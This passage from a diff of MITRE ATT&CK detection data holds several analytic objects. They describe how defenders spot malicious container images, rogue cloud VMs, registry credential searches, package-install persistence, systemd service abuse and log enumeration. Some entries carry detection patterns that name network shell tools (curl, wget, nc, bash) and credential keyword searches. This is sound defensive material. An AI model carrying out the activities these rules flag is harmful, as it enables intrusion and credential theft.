unexpected utilities (e.g., curl/wget/bash/python), or makes outbound network connections atypical for the namespace/workload. The analytic correlates Image Creation/Download \u2192 Container Creation \u2192 Container Start \u2192 Command Execution/Network activity within a short window and with a consistent image digest.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e", + "name": "containerd:events", + "channel": "Image pull from untrusted registry (name NOT IN allowlist) or new digest never seen before" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", + "name": "kubernetes:audit", + "channel": "create: Pod/Container created with image tag 'latest' or mutable tag; imagePullPolicy=Always; noDigest=true" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e", + "name": "kubernetes:events", + "channel": "start: ContainerStarted or Pulling image \u2192 Started container" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ImageRegistryAllowList", + "description": "Approved registries/namespaces (e.g., ECR/GCR/ACR org repos)." + }, + { + "field": "TimeWindow", + "description": "Correlation window from image pull to container activity (e.g., \u226415m)." + }, + { + "field": "SuspiciousBinaries", + "description": "Executables treated as high-risk when run in app containers (bash, sh, curl, wget, nc, powershell for Windows containers)." + }, + { + "field": "NamespaceScope", + "description": "K8s namespaces that should never pull from Internet or run mutable tags." + }, + { + "field": "OutboundCIDRBlockList", + "description": "Destination networks/domains that should not be contacted by containers." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7b711402-12f7-4985-93df-2693eaf9ebdb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0248#AN0692", + "external_id": "AN0692" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0692", + "description": "IAAS (Cloud images/VMs): A new VM/instance is launched from a non-approved or newly-seen image (AMI/GCP Image/Azure Image). On first boot, cloud-init/user-data or embedded agents download code, spawn system utilities, or open outbound C2/mining traffic. The analytic correlates Instance/Image Creation \u2192 Instance Start \u2192 in-guest Process/Command Execution and/or anomalous network traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "CloudTrail:RunInstances", + "channel": "RunInstances: AMI not in allowlist OR AMI owner != enterprise owner/account" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c", + "name": "azure:activity", + "channel": "Microsoft.Compute/virtualMachines/write: imageReference publisher NOT IN allowlist OR plan is new/unknown" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedImageCatalog", + "description": "Set of golden images/owners and digest/IDs allowed to launch." + }, + { + "field": "UserDataInspection", + "description": "Whether to alert when userData/cloud-init contains exec or download directives." + }, + { + "field": "FirstBootWindow", + "description": "Time after start considered first-boot (e.g., \u226430m) for correlation." + }, + { + "field": "VMTagScope", + "description": "Restrict detection to prod or internet-facing subnets to reduce noise." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c345908d-4f74-4341-a203-8c76be2a136b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0249#AN0693", + "external_id": "AN0693" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0693", + "description": "Remote/API driven creation **and** start of a container whose image is not on an allow\u2011list (or is tagged `latest`), executed by a non-admin principal, and/or started with risky runtime attributes (e.g., `--privileged`, host PID/NET namespaces, sensitive host path mounts, capability adds). Correlates *create* \u279c *start* \u279c first network/process actions from that container within a short time window.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "docker:daemon", + "channel": "container_create,container_start" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e", + "name": "containerd:runtime", + "channel": "CRI CreateContainer/StartContainer with privileged=true OR added capabilities OR host* namespaces" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "ebpf:syscalls", + "channel": "process execution or network connect from just-created container PID namespace" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "docker:events", + "channel": "remote API calls to /containers/create or /containers/{id}/start" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "known_images", + "description": "Environment-specific allow-list of approved images (with digests)." + }, + { + "field": "known_admins", + "description": "Service accounts or CI/CD users permitted to deploy containers." + }, + { + "field": "TimeWindow", + "description": "Max time between create, start, and first activity to consider events causally linked (default 5m)." + }, + { + "field": "RiskThreshold", + "description": "Minimum number of risky attributes (e.g., unknown image + privileged) to alert." + }, + { + "field": "PrivilegedFlags", + "description": "Set of runtime flags considered high risk (e.g., --privileged, --cap-add=SYS_ADMIN, hostPID, hostNetwork, /var/run/docker.sock mount)." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4c744ac0-ba25-4b42-8397-9b398ba55eb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0250#AN0694", + "external_id": "AN0694" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0694", + "description": "Defenders observe command-line executions or API-based registry reads targeting sensitive paths like HKLM or HKCU with keyword filters such as 'password', 'cred', or 'logon'. Typically performed by Reg.exe, PowerShell, custom binaries, or offensive tools such as Cobalt Strike. Correlation with process ancestry and command-line arguments indicates suspicious credential discovery activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", + "name": "EDR:hunting", + "channel": "Behavioral rule for registry enumeration under credential-related paths" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KeywordMatch", + "description": "List of strings searched in registry queries (e.g., password, credential, login). May need to expand for localized OS or app-specific terms." + }, + { + "field": "ParentProcessFilter", + "description": "Parent process used for registry access. Can tune for suspicious ancestry (e.g., cmd.exe > reg.exe vs. services.exe > reg.exe)." + }, + { + "field": "TimeWindow", + "description": "Time-based correlation window for detecting chained activity between registry reads and subsequent credential use or exfiltration." + }, + { + "field": "RegistryHiveScope", + "description": "HKLM vs. HKCU vs. others. May limit scope to user or system context depending on risk appetite." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ef4f995e-6f20-42b7-802e-555ac54ab7b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0251#AN0695", + "external_id": "AN0695" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0695", + "description": "Detects adversarial use of cloud-native APIs (e.g., AWS IAM, Azure RBAC, GCP Identity) to enumerate cloud group memberships or policy mappings via unauthorized sessions or scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe", + "name": "AWS:CloudTrail", + "channel": "ListGroups, ListAttachedRolePolicies" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Scope to anomalous IAM principals or assume-role usage." + }, + { + "field": "TimeWindow", + "description": "Correlate enumeration activity within lateral movement prep windows." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bb94692e-e73c-449c-a17e-0658bebbfd93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0251#AN0696", + "external_id": "AN0696" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0696", + "description": "Identifies unauthorized access or enumeration of administrative roles, security groups, or distribution groups via Exchange/SharePoint/Teams APIs or role discovery scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:exchange", + "channel": "Get-RoleGroup, Get-DistributionGroup" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--8d8c7cac-94cf-4726-8989-cab33851168c", + "name": "m365:sharepoint", + "channel": "Enumerate ACLs/role bindings" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessScope", + "description": "Adjust based on tenant-level vs. site-level group visibility." + }, + { + "field": "ScriptExecutionContext", + "description": "Detect script-based role listing (e.g., Graph API call chains)." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--54ae99be-c089-4e96-97f5-52af2892ae25", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0251#AN0697", + "external_id": "AN0697" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0697", + "description": "Monitors API calls and service-specific logs for enumeration of organizational roles, permissions, and group structure, particularly outside of normal admin behavior baselines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe", + "name": "saas:salesforce", + "channel": "GET /services/data/vXX.X/groups" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OrgScope", + "description": "Scope to cross-team access or unfamiliar org enumeration." + }, + { + "field": "RequestRate", + "description": "Tuning for excessive group-list API calls." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--223a39c8-d194-456e-be99-2db9e97ab7da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0252#AN0698", + "external_id": "AN0698" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0698", + "description": "User-initiated installation of Python (pip), NodeJS (npm), or other language libraries, followed by unexpected network connections, credential access, or startup file modifications. Defender sees `pip install` or `npm install` commands run by a non-root user, followed shortly by new `.py`, `.sh`, or `.js` files in hidden directories, or interpreter-based execution during boot/login.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of pip, npm, gem, or similar package managers" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:PATH", + "channel": "New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http::request: Network connection to package registry or C2 from interpreter shortly after install" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PackageManagerList", + "description": "Monitored package managers (e.g., pip, npm, gem, poetry, conda)" + }, + { + "field": "InstallWritePaths", + "description": "Directories to watch for post-install execution artifacts (e.g., ~/.local/, /usr/lib/python3.8/site-packages/)" + }, + { + "field": "UserContextScope", + "description": "Filter to focus on non-system accounts (e.g., interactive shell users)" + }, + { + "field": "TimeWindow", + "description": "Correlate install command to subsequent network/file activity (default: 5 min)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--05985fc7-44cf-4b28-8d4f-14c1662bc5ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0252#AN0699", + "external_id": "AN0699" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0699", + "description": "Execution of `pip.exe`, `npm.cmd`, or MSI installers within user context, followed by script interpreter startup (e.g., python.exe) or PowerShell with unusual child processes or file writes in `%APPDATA%`, `%TEMP%`, or `%LOCALAPPDATA%`. Defender correlates command-line install tools with Sysmon and Event Logs to trace downstream behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedParentProcesses", + "description": "Filter expected automation tools (e.g., enterprise installers, known IDEs)" + }, + { + "field": "InstallPathsToWatch", + "description": "Suspicious post-install write paths (e.g., %APPDATA%, %TEMP%)" + }, + { + "field": "ExecutableEntropyThreshold", + "description": "Used for evaluating if dropped files are packed/obfuscated" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--98f18ad5-0def-4ac3-8822-7538f0a8d64d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0252#AN0700", + "external_id": "AN0700" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0700", + "description": "Execution of Homebrew, pip3, npm, or manually downloaded PKGs from Terminal or shell, followed by the creation of startup agents, interpreter spawns, or outbound connections to unfamiliar domains. Defender links Terminal commands to plist creation, unsigned binary launches, and `python3` or `node` processes connecting to remote endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Command line invocation of pip3, brew install, npm install from interactive Terminal" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Outbound HTTP/S initiated by newly installed interpreter process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StartupAgentPaths", + "description": "Filter user persistence plist directories like ~/Library/LaunchAgents" + }, + { + "field": "UnsignedBinaryAlerting", + "description": "Enable alerting for new binaries lacking Apple or organization signature" + }, + { + "field": "InstallToNetWindow", + "description": "Correlate install action to interpreter-based network behavior" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4da5660a-3b1c-4b4d-ad79-991bef456b20", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0253#AN0701", + "external_id": "AN0701" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0701", + "description": "Detects the creation or modification of `.service` unit files in system/user-level directories, combined with execution of `systemctl`, `service`, or dynamically created drop-ins via systemd generators. Detects persistence by analyzing the `ExecStart` path, file entropy, and symlink usage, especially when paired with execution from `/tmp`, `/dev/shm`, or unmounted volumes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "write, open, or rename to /etc/systemd/system/*.service" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "modification of existing .service file" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execution of systemctl or service with enable/start parameters" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "fork/exec of service via PID 1 (systemd)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "linux:osquery", + "channel": "newly registered unit file with ExecStart pointing to unknown binary" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServicePathRegex", + "description": "Regex filters for systemd unit locations (e.g., `/etc/systemd/system/*.service`, `/lib/systemd/system/`)" + }, + { + "field": "ExecStartPathAllowlist", + "description": "Allowlist of trusted `ExecStart` binary paths (e.g., `/usr/bin/`, `/bin/`)" + }, + { + "field": "UserContextFilter", + "description": "List of usernames that are authorized to define user-level services" + }, + { + "field": "FileEntropyThreshold", + "description": "Entropy level of binaries referenced in `ExecStart` to detect packed or obfuscated payloads" + }, + { + "field": "SystemctlOperationSet", + "description": "Flags suspicious combinations such as `systemctl enable` + `systemctl start` within short interval" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4cf44d48-1a0f-45a4-9a25-8bee9677ab52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0254#AN0702", + "external_id": "AN0702" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0702", + "description": "Monitor for anomalies in transmitted data streams, including mismatched file integrity checks, API interception, or man-in-the-middle modifications. Detect unexpected use of APIs that handle network I/O where transmitted data integrity could be manipulated.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IntegrityBaseline", + "description": "Hash baselines or digital signature references to validate transmitted data." + }, + { + "field": "MonitoredPorts", + "description": "List of ports/services where data integrity validation is enforced." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--500ae9f9-c6c2-4160-ac03-072d963eba63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0254#AN0703", + "external_id": "AN0703" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0703", + "description": "Detect alterations of transmitted data via monitoring syscalls (`send`, `recv`, `write`) or middleware interception. Identify mismatched file hashes when compared at origin vs. destination. Watch for anomalous activity from processes interacting with secure transmission services (e.g., OpenSSL, scp).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "send, recv, write: Abnormal interception or alteration of transmitted data" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "linux:syslog", + "channel": "Integrity mismatch warnings or malformed packets detected" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedProcesses", + "description": "List of processes authorized to handle transmitted data (e.g., sshd, nginx)." + }, + { + "field": "HashCheckInterval", + "description": "Frequency of out-of-band integrity verification checks." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--da6d7de2-a666-4fa3-aa53-54692a8167ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0254#AN0704", + "external_id": "AN0704" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0704", + "description": "Monitor system APIs such as CFNetwork and SecureTransport for anomalies in transmitted data streams. Detect mismatches in file hashes or SSL/TLS downgrade attempts that enable manipulation of transmitted data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "Suspicious anomalies in transmitted data integrity during application network operations" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:osquery", + "channel": "CALCULATE: Integrity validation of transmitted data via hash checks" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TLSValidationRules", + "description": "Custom rules for enforcing HTTPS/TLS integrity checks to prevent downgrade manipulation." + }, + { + "field": "AllowedApps", + "description": "Whitelisted macOS apps permitted to transmit critical data." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--13810047-61f4-4cd0-aeda-6727d652da90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0255#AN0705", + "external_id": "AN0705" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0705", + "description": "Monitor for use of native utilities such as wevtutil.exe or PowerShell cmdlets (Get-WinEvent, Get-EventLog) to enumerate or export logs. Unusual access to security or system event channels, especially by non-administrative users or processes, should be correlated with subsequent file export or 